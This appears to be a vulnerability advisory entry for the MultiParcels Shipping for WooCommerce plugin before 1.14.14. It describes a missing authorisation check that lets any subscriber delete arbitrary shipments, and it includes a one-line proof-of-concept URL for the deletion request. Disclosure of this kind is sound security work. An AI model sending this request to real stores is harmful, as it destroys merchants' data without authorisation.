MultiParcels Shipping For WooCommerce < 1.14.14 - Subscriber+ Arbitrary Shipment Deletion

2023-07-1700:00:00

wpvulndb

woocommerce

arbitrary shipment deletion

subscriber

exploit

security issue

multiparcels shipping

8.2 High

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

16.2%

JSON

Description The plugin does not have authorisation when deleting shipment, allowing any authenticated users, such as subscriber to delete arbitrary shipment

Login as a subscriber an open https://example.com/wp-admin/admin-post.php?action=multiparcels_delete_shipping&id=1 to delete the shipment with ID 1